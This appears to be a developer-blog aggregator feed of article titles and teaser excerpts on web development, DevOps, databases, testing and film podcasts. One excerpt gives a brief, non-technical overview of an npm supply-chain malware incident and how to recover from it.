    The Icon Problem We've All Faced Picture this: You're building a React app, and you need icons. Simple enough, right? Wrong. You start with react-icons, and suddenly your bundle size balloons to 2MB+. You switch to icon fonts, but they feel like using a fax machine in 2025. You try Iconify's web components, but oops—your app breaks offline. And don't even get me started on manually copying SVGs from different icon libraries and trying to maintain them. 🤯 Today, I want to introduce you to Iconx—a CLI tool that fundamentally changes how we work with icons in React. Built by the team at Saas UI, it takes inspiration from the shadcn/ui philosophy: generate the code you own and control. But here's the kicker: instead of being limited to a single icon set, you get access to 200,000+ icons fr…  ( 9 min )
    Terraform Plan: Your Last Line of Defense Before Infrastructure Changes
    Terraform plan is the guardrail between your code and your live infrastructure. Every time you run it, Terraform compares your desired configuration with the current state and shows you exactly what’s going to change — before anything actually happens. If you want to avoid destructive changes, catch drift early, and prevent misconfigured variables from sneaking into production, this guide is for you. 🚀 This post covers: How the Terraform plan engine works How to read plan output (add/change/destroy) How to automate plan checks in CI/CD Common flags you'll actually use Real copy/paste examples Team-friendly best practices Bonus: risk-aware reviews with ControlMonkey Let’s get into it. Terraform plan generates an execution plan without changing any resources. It refreshes state (un…  ( 9 min )
    Stop Refreshing Weather Sites: Automate Alerts with Python and Playwright
    Learn how to scrape live weather data, store it in SQLite, and receive automatic notifications - all in a practical end-to-end Python project. Living in a ski town means the weather basically runs my life. One minute it’s sunny and warm, the next it's below freezing, and we're getting over a foot of snow. More snow = more fun, but I have to be aware that I cannot simply get up and go. Someone has to shovel out the driveway and scrape off the car. Tired of constantly refreshing weather websites, I decided to automate the whole process. I built a Python pipeline that scrapes current conditions, stores them in SQLite, applies simple alert rules, and emails me whenever something important happens, so I never miss a snowstorm (or an exceptionally freezing morning) again. The goal was simple …  ( 8 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday night parlay as they revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They dive into the film’s sports-betting hijinks, debate the most rewatchable scene, and roll through a rapid-fire category showdown. Along the way, the crew delivers hot takes, laughs off epic gambles, and plugs Subaru’s Share the Love event, State Farm’s coverage tips, and all the must-follow Ringer channels. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a rapid-fire riff on all the movie’s quirks, gaffes and head-scratching moments, delivered in their trademark snarky style. They also plug the CinemaSins universe—website, YouTube channels, Discord, Reddit and a sinful poll—invite you to support them on Patreon, and give shout-outs to the writing team and all their social handles. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning CinemaSins unleashes its trademark snark on Tom Cruise’s latest MI outing, packing every nitpick (including the “death on film” gag) into a brisk 27-minute romp and mourning that the franchise might be losing steam. They also plug their digital HQ—hit up cinemasins.com for more vids, vote in their sinful poll, back ’em on Patreon, and join the party on Discord, Reddit, TikTok, Instagram and beyond. Don’t forget to stalk their writers on Twitter and Instagram too! Watch on YouTube  ( 6 min )
    I think e-mail reactions are a crime
    A post by Jess Lee  ( 6 min )
    Python Testing Techniques Every Developer Should Master in 2024: TDD, Mocking & CI
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! Testing is like having a safety net for your code. It helps make sure that everything works the way it should, even when things change. I think of it as a way to catch mistakes before they cause bigger problems. When I write code, I always include tests to verify that each part does its job correctly. This saves me time later because I can spot issues quickly. Let me start with unit testing. This is where you test small pieces of your code, one at a time. It is like checking each ingredient before cooking a meal. In Python, you can use the unittest framework to do this. It lets you create test cases and check if the resul…  ( 11 min )
    From Figma to Frontend: Ship Features Faster with Kombai
    So, you are a frontend developer and you receive some Figma designs from a client, along with a clear plan for building the UI. Then, a few minutes into turning these designs into code, the complexity begins to surface, as handling variations of components, styling, and other interactivity of the design becomes apparent. In addition to the time and effort, this can be a big challenge for developers. However, turning complex Figma designs into clean and responsive code without worrying about these challenges is becoming a thing of the past. Figma to code with Kombai gives you a frontend AI agent that can convert Figma designs into responsive live features. This frontend AI agent is built as a plugin/extension that developers can use to automate the process of turning Figma designs into code…  ( 11 min )
    How I Built a Private Finance Tool with Vanilla JS and Local Storage
    I work in e-commerce and SEO by day, so I spend a lot of time dealing with complex stacks, databases, and user tracking. But when I wanted to build a simple tool to track my own subscription spending, I didn't want any of that. I didn't want a database. I didn't want user accounts. And I definitely didn't want to handle sensitive financial data on a server. So I built FinTech Lite, a suite of financial tools that runs 100% in the browser. Here is how (and why) I built the Subscription Auditor using nothing but Vanilla JS, Tailwind, and the Local Storage API. Most fintech apps follow the same pattern: User signs up (email/password). App requests bank credentials (Plaid/Yodlee). App sucks data into a database. I wanted the opposite. I wanted a "dumb" calculator that remembers you but doesn'…  ( 7 min )
    What happens when you type a URL into your browser?
    Hey friends! 👋 Let’s talk about something we all do every day: Typing a URL into your browser In case you don’t know what a URL is: URL stands for Uniform Resource Locator. It’s basically the address of a webpage, just like your home address tells people where you live, a URL tells the internet where a page is located. We type URLs so casually: https://google.com …but a lot happens behind the scenes before that page appears on your screen. 1️⃣ The browser checks the URL Your browser first checks: is this a valid URL? is it HTTP or HTTPS? which domain are we visiting? Nothing is loaded yet, it's just making sure the link is valid. 2️⃣ It looks in the cache Your browser asks itself: “Have I seen this page before?” It checks cached files like: HTML CSS images JavaScript If it finds some…  ( 8 min )
    Revolutionize Your Video Workflow with AI Clip Creation
    Video content has become an essential element of digital communication, marketing, and personal expression. Whether you are a content creator, marketer, or educator, producing engaging video clips is crucial to capturing audience attention. Yet, creating high-quality clips manually can be time-consuming and complex, requiring specialized skills and software. AI-powered tools, such as LiveLink AI, offer an efficient solution, enabling creators to transform long-form videos into compelling short clips with minimal effort. The Rise of AI in Video Editing Artificial intelligence has transformed multiple industries, and video production is no exception. AI algorithms can analyze footage, detect significant moments, and automatically generate highlights or short segments. These capabilities dras…  ( 8 min )
    Sha1-Hulud Attack: What Happened & How to Clean Your GitHub Safely
    If your GitHub repos were suddenly hit with unknown commits, modified README files, or a weird new repo you never created, you may have been affected by Sha1-Hulud, one of the largest npm supply-chain attacks in recent times. This is a malware campaign that spread through compromised npm packages and silently impacted thousands of developers. This post breaks down: What Sha1-Hulud actually is What it does to your system and GitHub And the exact steps to recover safely Sha1-Hulud is malware distributed through infected npm packages. Attackers compromised legitimate package maintainers and injected malicious install scripts. The moment a developer installed one of these packages, the malware executed automatically. Once active, it used the developer’s access to: Steal secrets (API keys, toke…  ( 8 min )
    The Squirrel 🐿 Fell into the Well 😧
    Happy to type again. squirrel(Anil) 🐿. but in my home i can watch the squirrel fight and daily routines of squirrel. in my working hours i work in upstairs. when i want some break or need water i go down to play with pets and drink water. like this today morning i came for short break i saw 2 squirrels are chasing each others in tree and they suddenly fall into the well(kinaru) ,without any doubt i go there and put the bucket into that well and try to pick up them one squirrel understand my help and try to catch the rope but another one is not understand.first one is catch the rope and get out of the well. and another one is try to get out of the well by running on the well's wall but it again and again it fell into the well i try many attempt help them but it go away from the rope and the bucket. after some time finally it understand and come near to the rope and get this rope and quickly pulling the rope and get out from the well.. and they both run away from the well. here i want to tell one thing if u r studying then take some break on every 1 or 2 hours to relax yourself. if u r in institute or any group studies spend your break time with your friends or any one else... keep learning .. keep helping..  ( 6 min )
    Building Krome — My Clean, Modern AI Agent Template for Next.js
    I’ve been spending the last few weeks heads-down on a new project, and I’m finally at a point where I can share what I’ve been building. I realized that while there are plenty of templates out there, it’s hard to find one that combines a clean, futuristic UI with solid, scalable code. So I decided to make my own. I’m calling it Krome (for now), and it’s a high-performance landing page + multipage template built for AI startups and modern SaaS platforms. Link: https://ai-agent-template-tan.vercel.app/ My goal with this template was simple: create a UI that immediately feels trustworthy and premium. Think deep dark mode, soft glowing gradients, glassmorphism touches, and bento-style feature blocks. I spent a lot of time refining the Pricing and Feature sections to make sure the visuals guide the user naturally through the product journey. This isn’t just a pretty UI—it's built to scale. Some of the core features include: Multi-theme support: Easily switch accent colors or entire theme presets. ** Multi-page architecture:** Includes more than just a landing page—About, Contact, Sign Up, and more. Fully working MDX blog: Write posts in Markdown and have them render beautifully. Dynamic SEO: Every page and blog post automatically gets proper metadata. The project is about 80% complete. Most of the core pages, UI sections, and responsive layouts are done. The remaining work is mostly polish: Making animations (especially scroll reveal) smoother. Improving the mobile experience. Cleaning up code comments and simplifying components so it’s easy for anyone to customize. If you want to check it out or share feedback, the link is above. Still polishing things, but it's getting close!  ( 7 min )
    THINKING GAME DOCUMENTARY: MY REVIEW
    So I finally watched AlphaGo, that documentary about the Google DeepMind AI that took on the world champion in Go, and honestly… I didn’t expect to enjoy it this much. I thought it would be one of those “tech bros hype themselves” films, but wueh, it’s actually deep. First things first,the game itself. Go is like chess on steroids. Watching those pros talk about it felt like watching athletes explaining how they breathe. The amount of strategy, intuition, and reading the board… it made me respect the game a lot more. And the way the documentary broke it down for normal people? Lovely. Even those of us who have never touched a Go board can follow the tension. Then there's Lee Sedol. Man, that guy carried the emotional weight of the whole thing. You feel the pressure on him — not just to win…  ( 7 min )
    Untitled
    Check out this Pen I made!  ( 5 min )
    Write Clean Code
    Introduction Why Must We Write Clean Code? To answer this question, let me tell you A story mentioned in the book "Clean Code" by the author In the late 80s, a killer app was written. It was very popular, and lots of professionals bought and used it. But then the release cycles began to stretch. Bugs were not repaired from one release to the next. In short, writing code that is difficult to read and understand clearly makes it hard for other programmers to understand and modify the code. So, if you want to write clean code to help your staff work without any question mark, like what this code does and what its meaning is, you can follow a series of Clean Code that comprises many chapters, and every chapter will contain some guidelines that help you to write clean code. Agendia What i…  ( 11 min )
    Stop wasting time on dud ChatGPT prompts.
    I’ve tested hundreds of viral ChatGPT prompts. Most? Overpromise and underdeliver — they sound clever but produce generic, robotic replies. I don’t want “viral.” I want useful. After months of experimenting, I collected 5 prompts people share because they genuinely work. No jargon. No gimmicks. Just smart ways to save time, think clearly, and get unstuck. Try this: Why it works: It forces clarity. ChatGPT drops jargon and gets to the core idea. Example: “Quantum computing is like reading every book in the library at once instead of one by one.” Use when: researching anything confusing (taxes, AI, LLMs, mortgages). Try this: Why it works: It forces healthy disagreement and exposes blind spots. Try this: Why it works: Using the word “unexpected” avoids generic answers. You get fresh takes like: “How fast fashion algorithms manipulate trends” “The carbon cost of organic cotton” “Why renting clothes often fails” Try this: Why it works: We all write fuzzy first drafts. This sharpens them instantly. Before: “I was wondering if maybe you could possibly review this document when you have a moment?” After: “Could you review this document by Friday?” Try this: Why it works: “Act as a [role]” activates domain-specific feedback — not generic proofreading. Prompts are starting points. To get great results: Bad: “Fix this.” Good: “Fix this LinkedIn post. Make it punchier and remove passive voice.” “Under 50 words” “Only bullet points” “Three options” If it sounds robotic: “Make it more casual, like a friend explaining.” Reusable templates like: The best prompts solve your specific problem. Example I used last week: “SEO is like putting up signs for your bakery. The better your signs (your website content), the more people Google sends to your door.” Perfect. Pick one prompt from above. Use it today. See the difference yourself. If you enjoyed this, leave a ❤️ reaction or comment — it helps a lot! — Thanks Mashraf Aiman Co-founder, inshot.news Founder, COO, voteX Co-founder, CTO, Lawkit  ( 7 min )
    Building Modern Backends with Kaapi: Introduction & Getting Started
    Kaapi: A flexible, extensible backend framework for modern APIs with messaging, documentation, and type safety built right in. This series is written for backend developers who love TypeScript and can appreciate Hapi’s design philosophy. Kaapi (@kaapi/kaapi) is a TypeScript-first backend framework built on top of Hapi.js. It gives you a clean foundation for building modular, documented, and message-driven APIs without the boilerplate. Think of it as Hapi, but with: Type safety throughout Messaging support (Kafka-ready) Auto-generated OpenAPI & Postman docs Built-in logging via Winston So not "Yet again a new Nodejs framework this year!" in case your were thinking that (I know you did) but rather a practical evolution: the same trusted Hapi core, now supercharged. It’s about cutting boil…  ( 7 min )
    When PostgreSQL Transactions Lie to You: A Detective Story About Phantom Reads
    Or: How I Learned to Stop Worrying and Love SERIALIZABLE Tags: #postgresql #database #concurrency #debugging You know that feeling when your code is perfect, your tests are green, but production still betrays you? It's 3 AM. Our e-commerce platform just sold the same limited-edition sneaker to 47 different people. We only had 12 pairs. The interesting part? “enough stock available.” And somehow, we oversold by 350%. async function purchaseItem(itemId, quantity) { const available = await db.query( 'SELECT stock FROM inventory WHERE id = $1', [itemId] ); if (available.rows[0].stock >= quantity) { await db.query( 'UPDATE inventory SET stock = stock - $1 WHERE id = $2', [quantity, itemId] ); return { success: true }; } return { success: false, erro…  ( 7 min )
    Why S3 Performance Limits Matter — and How Archil Solves Them
    Many enterprises rely on AWS S3 as the backbone of their data storage strategy because of its immense scalability, global reach, and extreme durability measured in eleven nines. Everything from audit logs and backups to machine learning datasets often ends up living on S3. But S3 is not a file a system, it’s an object store—an important difference. This means that S3 wasn’t designed to handle low-latency, high-frequency access or POSIX-style workloads. It’s missing crucial file system features like atomic renames, file locking, shared caching, and sub-millisecond response times. Even though it’s a common practice, treating S3 like a traditional file system often leads to performance bottlenecks, unpredictable behavior, and the need for engineering workarounds. As data volumes increase and …  ( 12 min )
    Microservices Authentication & Authorization: A Beginner's Guide
    Hello there! If you've ever felt overwhelmed by the idea of securing a microservices architecture, you are not alone. It's a common stumbling block. In a monolithic app, you just check the session in one place. But when you have 5, 10, or 50 services, how do you make sure only the right people get in? Today, we're going to build a robust, production-ready authentication flow using Node.js. We'll use a pattern that is both scalable and easy to understand: Gateway Authentication and Service-Level Authorization. By the end of this tutorial, you'll have a working system with 3 services: API Gateway: The entry point (The Bouncer). Auth Service: Handles Login (The ID Issuer). Custom Service: A demo service with Public, User, and Admin routes. Let's dive in! Before we write code, let's visuali…  ( 9 min )
    Data Lakes vs. Data Warehouses: Which Model Fits Your Use Case?
    A few months ago, all of your startup’s data could be stored in just one database. Now, you’re overwhelmed by customer data from six separate services, and your operations team is requesting detailed analytics. Relying on manual data queries to the production database is no longer feasible, and with your engineering team already at capacity, you need a specialized layer that can deliver insights without disrupting your customer-facing production systems. Nowadays, businesses produce data from all directions: user interactions, logs, third-party tools, and more. To generate meaningful business insights, you need data—and as such, your data architecture shapes what you can analyze. Production databases, designed for user operations, aren’t built to handle the complex queries needed for in-de…  ( 11 min )
    What is Nuxeo? A brutally honest assessment from 10+ years of implementation
    After a decade training Nuxeo developers, I can predict when someone quits: Day three. They're drowning in diagrams trying to understand document models, schemas, facets, repositories, event buses, lifecycle states, automation chains... What I wish someone told me in 2013: Don't try to understand Nuxeo's architecture first. Start with OSGi concepts and solid Java. Everything becomes logical after that. Real prerequisites: Java 11/17/21 (solid skills, not "took a class once") OSGi concepts (bundle lifecycle, service registry, extension points) REST API mastery Polymer 3.x (if touching UI) Common pitfalls: Trying to understand everything before coding Ignoring OSGi (then weird classloading errors) Fighting the platform vs learning its patterns Using Java for stuff Studio generates in minutes Not reading logs (they're helpful!) Full guide covers: Week-by-week learning roadmap Real-world success patterns with metrics Honest "choose if / skip if" assessment Code examples and architecture Article: Full reading here Happy to answer questions about Nuxeo, OSGi, ECM, or implementation challenges.  ( 6 min )
    Type hints in Python (6)
    Buy Me a Coffee☕ *Memo: My post explains type hints (1). My post explains type hints (2). My post explains type hints (3). My post explains type hints (4). My post explains type hints (5). Callable and Protocol can be used for a function as shown below: *Memo: Callable can specify function parameter and return types, doing less than Protocol: The 1st argument is paramtypes(Required:-Type:list(Type) or ellipsis): It's a list of one or more parameter types. ... (but not Ellipsis) can be used to accept the zero or more arguments of all types but it shouldn't be used because it's too gereral: ... is different from Any which accepts the one argument of all types. Don't use paramtypes=. The 2nd argument is returntype(Required-Type:Type)): It's a return type. Don't use returntype=. Proto…  ( 8 min )
    Mastering Python Code Quality: A No-Nonsense Guide to Tools That Actually Prevent Technical Debt
    Hey fellow engineers—tired of codebases that start clean and end up as tangled messes? You're not alone. Most teams slap on a linter and a formatter, pat themselves on the back, and then spend years wrestling with tech debt. This guide cuts through the hype: a curated comparison of Python code-quality tools, spotlighting the heavy hitters like Ruff and Bandit, plus emerging stars Skylos and PySCN. We're talking strict, production-grade quality here—no fluffy marketing. We'll break down what each tool analyzes, its superpowers (and blind spots), and when to deploy it. By the end, you'll have precise recommendations to bulletproof your pipeline. Whether you're scaling a startup prototype or taming a legacy monolith, this is your roadmap to code that doesn't just work today but scales tomorr…  ( 9 min )
    Temporal Workflow Orchestration: Building Reliable Agentic AI Systems
    Introduction In the world of distributed systems and agentic AI, managing complex, long-running workflows reliably is a significant challenge. Traditional approaches often struggle with failures, state management, and ensuring that processes complete successfully even when systems crash or network issues occur. Temporal is an open-source platform that solves these problems by providing durable, reliable workflow orchestration. It abstracts away the complexities of distributed systems, allowing developers to focus on business logic while Temporal handles failures, retries, and state management automatically. This article explores Temporal's core concepts, workflow patterns, and how it's revolutionizing the development of agentic AI systems. Temporal is a workflow orchestration platform th…  ( 20 min )
    VueFinder — A Modern File Manager for Vue
    If you’ve ever needed a fast, flexible, and framework-friendly file manager for your Vue applications, VueFinder might be exactly what you’re looking for. Originally built as a small utility, it has evolved into a solid, production-ready file management layer that plugs neatly into modern Vue stacks. It handles uploading, browsing, selecting, cropping, previewing, and organizing files with a smooth UI and a developer-friendly API. VueFinder integrates well with common workflows — whether you’re building admin panels, content management tools, SaaS dashboards, or anything that needs robust file handling. The latest version brings an updated architecture, cleaner internals, and a much nicer developer experience. If you’re curious, try it out and tell me what you think: https://vuefinder.ozdemir.be  ( 6 min )
    My Journey Into Cloud Engineering: Embracing the Shift
    Working in hospital theatre recovery has taught me the importance of precision, adaptability, and reliable systems. Beyond patient care, I’ve also been closely involved with managing data, coordinating appointments, and ensuring smooth workflows. The more I worked with these digital systems, the more I realised something bigger was happening around us. Technology, especially AI is reshaping industries at an incredible pace. I began to see how automation, cloud solutions, and smart data systems are becoming the backbone of modern healthcare and beyond. That shift changed my perspective. I didn’t just want to use these systems. I want to understand and contribute to the technology driving them. This curiosity led me into data analysis, then data engineering, where I explored how information flows and how insights are created. Each step opened a new path and ultimately guided me toward Cloud Engineering and DevOps. The foundations that power AI, automation, and scalable digital systems. Balancing a full time healthcare role with learning tech hasn’t always been easy, but it has been rewarding. For me, this transition is about embracing change, staying future ready, and being part of the innovations that are reshaping our world. I’ll be sharing my journey. The lessons, challenges, and small wins along the way. If you’re also navigating a career transition or exploring the cloud/AI space, I’d love to connect and grow together.  ( 6 min )
    Panic in the sandbox
    Day 1 — Trying to get the QEMU kernel sandbox going Time to setup the environment for kernel development. Rather than risk shooting myself in the foot on my bare host, I decided to: build a custom kernel + minimal user land, and boot it inside QEMU. What I thought would be a straightforward path — went somewhat astray, or at least was different than what I'd expected it would be. Clone a recent upstream Linux kernel source tree. Installed dependencies (compiler, build tools, kernel-dev libs, etc.). Configure the kernel (make defconfig), enabled built-in drivers I expected to need (make kvm_guest.config). Which the built in configs for kvm was nice to find instead of having to menuconfig and change them all myself, or write config snippets and merge them with merge_config Built a minimal root filesystem using BusyBox + a tiny initramfs / minimal userland. This provided a good refresher of how booting the kernel works. Launched QEMU: point it to the kernel image, attach the rootfs, set console/serial, etc. A quick "hello world" environment. Boot → get a kernel log on serial → minimal root shell → experiment with loading modules / tinkering / debugging — all safely sandboxed, without risking my host’s stability. What followed was… a lot of head-scratching. Mostly I spent a ton of time digging through forums and reading posts about how the systems worked, but it really wasn't all that bad. Starting with some kernel panics as init wasn't built properly or I was pointing to the wrong bzImage. Once I got all the pieces properly laid out it all worked perfectly. A nice safe environment where I don't have to worry about crashing my daily driver. Build and test a trivial kernel module, load it, unload it.  ( 6 min )
    Scaling a Payment Platform for Black Friday: A 10x Traffic Spike Strategy on AWS
    The Challenge Black Friday is coming in 8 weeks, and your payment platform needs to handle a massive traffic spike: Normal load: 500 transactions/second Expected peak: 5,000 transactions/second (10x increase!) Current capacity: Only 1,500 transactions/second Budget constraint: Minimize costs and auto-scale down after the event Requirement: Zero impact on current service levels during preparation This isn't just about adding more servers. It requires a comprehensive scaling strategy across the entire stack: application layer, database, caching, networking, and monitoring. In this article, I'll walk through a complete AWS-based scaling strategy that handles the 10x traffic spike while optimizing costs and maintaining security and compliance. Scaling for a 10x traffic spike requires address…  ( 16 min )
    Day 03 - Provisioning Your First AWS S3 Bucket with Terraform
    As you embark on your journey into Infrastructure as Code (IaC), understanding how to translate simple resource needs into code is the essential first step. Terraform enables us to define infrastructure, ensuring consistency and efficiency. This blog post walks through the process of provisioning the simplest possible resource on AWS: an S3 bucket, leveraging the core Terraform workflow. To begin provisioning any resource, you must first define your configuration in a file that uses the .tf extension (e.g., main.tf). Terraform recognizes this extension as a configuration file. For our task creating an S3 bucket, we consult the Terraform documentation to find the required resource type: aws_s3_bucket. Code Example: Defining the S3 Bucket internal name (e.g., firstbucket), which is used to …  ( 8 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their Monday night parlay as they revisit Two for the Money, the 2005 sports-thriller where Matthew McConaughey plays a betting wunderkind under Al Pacino’s tutelage. After a quick cold open, they dissect the film’s high-stakes gambling scenes, pick their Most Rewatchable Moment, and then dive into their signature category games. Between sharp takes and friendly banter, the crew keeps it light—shout-out to Subaru’s Share the Love event and State Farm for chiming in—before wrapping up with links to The Ringer shop and social channels. Perfect for anyone craving a mix of sports insights and Hollywood hustle. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 3 - '25th Hour’
    Sean Fennessey and Amanda Dobbins wrap up their yearlong countdown by landing Spike Lee’s 2002 drama 25th Hour at No. 3, praising it as an under-appreciated masterpiece that lives and breathes in real time. They unpack Lee’s bold stylistic choices—everything from the kinetic camera work to the razor-sharp dialogue—that make the film feel urgent, intimate, and emotionally gut-wrenching. Beyond its tense narrative of a man’s last day of freedom, the hosts highlight the movie’s “fricative tension,” the way every idea and interaction crackles with unsaid conflict. Whether you’re streaming on Prime or catching it for the first time, they argue, 25th Hour remains one of the century’s most affecting cinematic experiences. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a snappy Cinemasins video that playfully rips into the latest KPop Demon Hunters flick, dishing out fast-paced “sins” commentary and tongue-in-cheek jokes. On top of that, the description hooks you up with links to Cinemasins’ main site, extra YouTube channels, social media hubs, a fan poll, and Patreon. You’ll also find full writer credits plus invites to their Discord, Reddit, Instagram, TikTok—and even Jeremy’s book if you need more sinning in your life. Watch on YouTube  ( 6 min )
    I Turned LangChain JS Into a Simple Learning Path — Free & Open Source
    🚀 Learn LangChain JS (with LangGraph) — My Open-Source Repo Over the last few weeks, I’ve been learning how real AI backends are built — not just “call an LLM” but actual systems that use tools, memory, RAG, scraping, agents, and workflow logic. While learning, I noticed something: There isn’t a simple, practical, beginner-friendly way to learn LangChain JS + LangGraph with real examples. So I decided to build one myself. 👉 Learn-LangChain (JS) 🔗 Repo: https://github.com/iparesh18/Learn-LangChain ⭐ What’s Inside Prompt chains Output parsing Embeddings + vector search Basic RAG Tools (RunnableLambda + validation) Puppeteer scraping LLM-as-a-tool Agent execution LangGraph (nodes, edges, routing) Multi-agent flows (planner → scrape/search → final answer) Every file is a standalone lesson. 🌱 Why I Built This I wanted something simple, practical, and structured — the kind of resource I wish existed when I started. And I’ll keep updating it with more chapters as I learn. 📌 Repo Link If you're exploring LangChain, LangGraph, or agentic AI in general — this might save you a lot of time. 👉 https://github.com/iparesh18/Learn-LangChain  ( 6 min )
    Cache Optimization in Rust: From HashMap Surprises to 4x Image Processing Speedup
    The Surprising Benchmark Imagine we have a task, me and you: a file with 10000 words in it - count the occurrence of each word, and present us with top-10 of the most common words there. We come up with some ideas, write those ideas out on an IDE, and now we benchmark it to see how blazingly fast our API is. word_counting_hashing time: [4.6504 ms 4.6591 ms 4.6686 ms] Found 13 outliers among 100 measurements (13.00%) 6 (6.00%) high mild 7 (7.00%) high severe word_counting_binary time: [29.797 ms 30.042 ms 30.304 ms] Found 6 outliers among 100 measurements (6.00%) 6 (6.00%) high mild Benchmarking word_counting_linear: Warming up for 3.0000 s Warning: Unable to complete 100 samples in 5.0s. You may wish to increase target time to 12.0s, or reduce sample count to 40. word_co…  ( 17 min )
    When Jesus Walks Into the Story You Stopped Hoping Would Change: A Deep Encounter with John Chapter 5
    There are moments in the Bible that read like history—and then there are moments that read like you. John Chapter 5 is one of those moments. It is not gentle. It is not simple. It does not sit quietly in the corner of Scripture. It confronts you. It exposes you. It comforts you. It awakens you. It speaks to the parts of your life that feel old, tired, worn down, and forgotten by time. It speaks to the cycles you’ve learned to live with, the pain you’ve learned to manage, the disappointment you’ve learned to hide, and the long-term struggles you’ve learned to survive. John 5 is not about a man who needed healing. This chapter is about mercy with muscle. John 5 is the chapter that won’t let you stay the same. The Pool of Bethesda: The Geography of Pain and Waiting Before you can understand t…  ( 13 min )
    iOS Unit Testing Tutorial with Xcode & Swift
    iOS unit testing is a fundamental practice in modern iOS app development, helping developers ensure that each component of their app works as intended. By writing Swift unit tests using the XCTest framework, developers can verify the logic of individual classes, methods, and functions in isolation, reducing bugs and improving code quality. Unit testing is a cornerstone of iOS automated testing and plays a vital role in Test-driven development iOS workflows, where teams often use an iOS simulator online to quickly execute tests.Incorporating unit tests early in development ensures that your app remains stable, maintainable, and easier to scale. In this tutorial, we will explore the essentials of iOS unit testing, demonstrate practical examples using Swift unit tests, and highlight best prac…  ( 15 min )
    GitOps & Argo CD: A Complete Introduction.
    A hands-on developer-focused introduction to GitOps and Argo CD. Learn how GitOps works, why it matters, and how to deploy your first Kubernetes application using Argo CD with examples, diagrams, and real-world use cases. 📑 Table of Contents What Is GitOps? Why GitOps Matters for Developers Core Principles of GitOps Argo CD Overview & Architecture Installing Argo CD Deploying Your First Application with Argo CD Real-World GitOps Use Cases Common Developer Questions Related Tools & Libraries Conclusion + Call to Action SEO Keywords Suggested Dev.to Tags Canonical Link Notice Cover Image What Is GitOps? GitOps is an operational model where Git becomes the single source of truth for describing infrastructure and application state. Instead of pushing changes directly to Kubernetes, devel…  ( 9 min )
    Why ARCH and GARCH? A Gap in Classical Modeling
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    Wednesday Links - Edition 2025-11-26
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    Ringer Movies: The 25 Best Movies of the Century: No. 3 - '25th Hour’
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    Platform Engineering: Building Internal Developer Platforms
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    Unpacking the Foundation: Understanding Azure's Core Architectural Components
    Introduction Let's dive into the core components that form the backbone of Azure. 1. Regions and Availability Zones: Global Reach, Local Resilience Imagine a global network of interconnected data centers. That's essentially what Azure provides, organized into Regions and Availability Zones. Azure Regions: A region is a geographical area that contains one or more data centers. Think of them as massive, independent data center hubs located across the globe (e.g., "East US," "West Europe," "Southeast Asia"). Choosing the right region is crucial for data residency, compliance, and minimizing latency for your users. Availability Zones (AZs): Within many Azure Regions, you'll find Availability Zones. These are physically separate locations within an Azure region, each with independent power, coo…  ( 8 min )
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    Most UI tests today still look like this: you code the steps, you hard-code selectors (IDs, XPath, CSS), you pray they don’t break on the next release. This works… until: the accessibility tree is a mess, the app runs inside a WebView, the UI is legacy or hybrid, or there is no reliable locator at all. At that point, traditional automation just gives up. I’ve been working on a different approach: Instead of hard-coding selectors and steps, let an AI agent build the locator and the action at runtime. This is what our project, AI Agent, is about. 🚀 AI Agent is open source & early-stage. If this resonates with you, please ⭐ star the repo: 👉 https://github.com/aidriventesting/Agent It helps a lot with visibility and future sponsorship. AI Agent is an open-source project that plugs into yo…  ( 9 min )
    Europe Launches OGCR: A New Open-Source Carbon Registry for Agriculture and Forestry
    In September 2025, the Intergenerational Open Geospatial Carbon Registry (OGCR) was officially launched under the funding of Horizon Europe, marking a major step forward in the creation of an open, transparent, and scientifically robust framework for carbon accounting across the EU. The initiative brings together more than thirty partners, including universities, research institutes, SMEs and NGOs, and aims to run through 2029, with an investment of €11.5 million. The project’s ambition is broad: to offer Europe’s 9.1 million farmers and forest managers simple, affordable tools to measure, verify, and certify carbon sequestration and ecosystem-service benefits from their land-management practices. At the heart of OGCR’s innovation is the creation of harmonized, updateable baseline data on soil carbon along with biomass and peat carbon. These geospatial carbon baselines, scalable from local to pan-European level, are intended to underpin fair, transparent certification and remuneration under the upcoming framework of Carbon Removals Certification Framework (CRCF). Original article posted in Italian on Materia Rinnovabile  ( 6 min )
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    [Boost]
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    Why Your Playwright Test Reports Are Messy (And How test.step() Fixes It)
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    Problem Statement Git Flow and GitHub Flow are two Git branching strategies that help teams collaborate on code without stepping on each other's toes—you pick one when your repo starts feeling chaotic during feature development or releases. You encounter this daily when juggling multiple features, hotfixes, or deploys: one dev merges a breaking change, another can't test locally, and suddenly everyone's yelling in Slack. Choosing the right flow keeps your main branch stable and ships code faster. Both strategies organize Git branches to isolate work, but Git Flow is structured for planned releases, while GitHub Flow prioritizes simplicity and constant integration. master: Always production-ready code. develop: Integration branch for ongoing work. feature/ branches: Off develop for new fe…  ( 7 min )
    Language Aggregation in OpenSearch: Selecting One Document Per Group by Language Preference
    Multilingual content is common in documentation systems, product catalogs, and knowledge bases. When the same item exists in several languages, search results often become cluttered with multiple versions of the same document. A typical requirement is to return one document per content group, chosen using a language preference order such as de > en > fr. This blog post presents a practical pattern for handling language aggregation. The approach is part of the open-source OpenSearch project and is fully supported in Amazon OpenSearch Service, making it suitable for both self-managed clusters and AWS-managed environments. If an article exists in German, English, and French, a standard search will return all three. You want: One hit per crossLanguageGroup The language with the highest user p…  ( 10 min )
    The Two Programming Styles of AI — and Why Everyone Uses the Wrong One
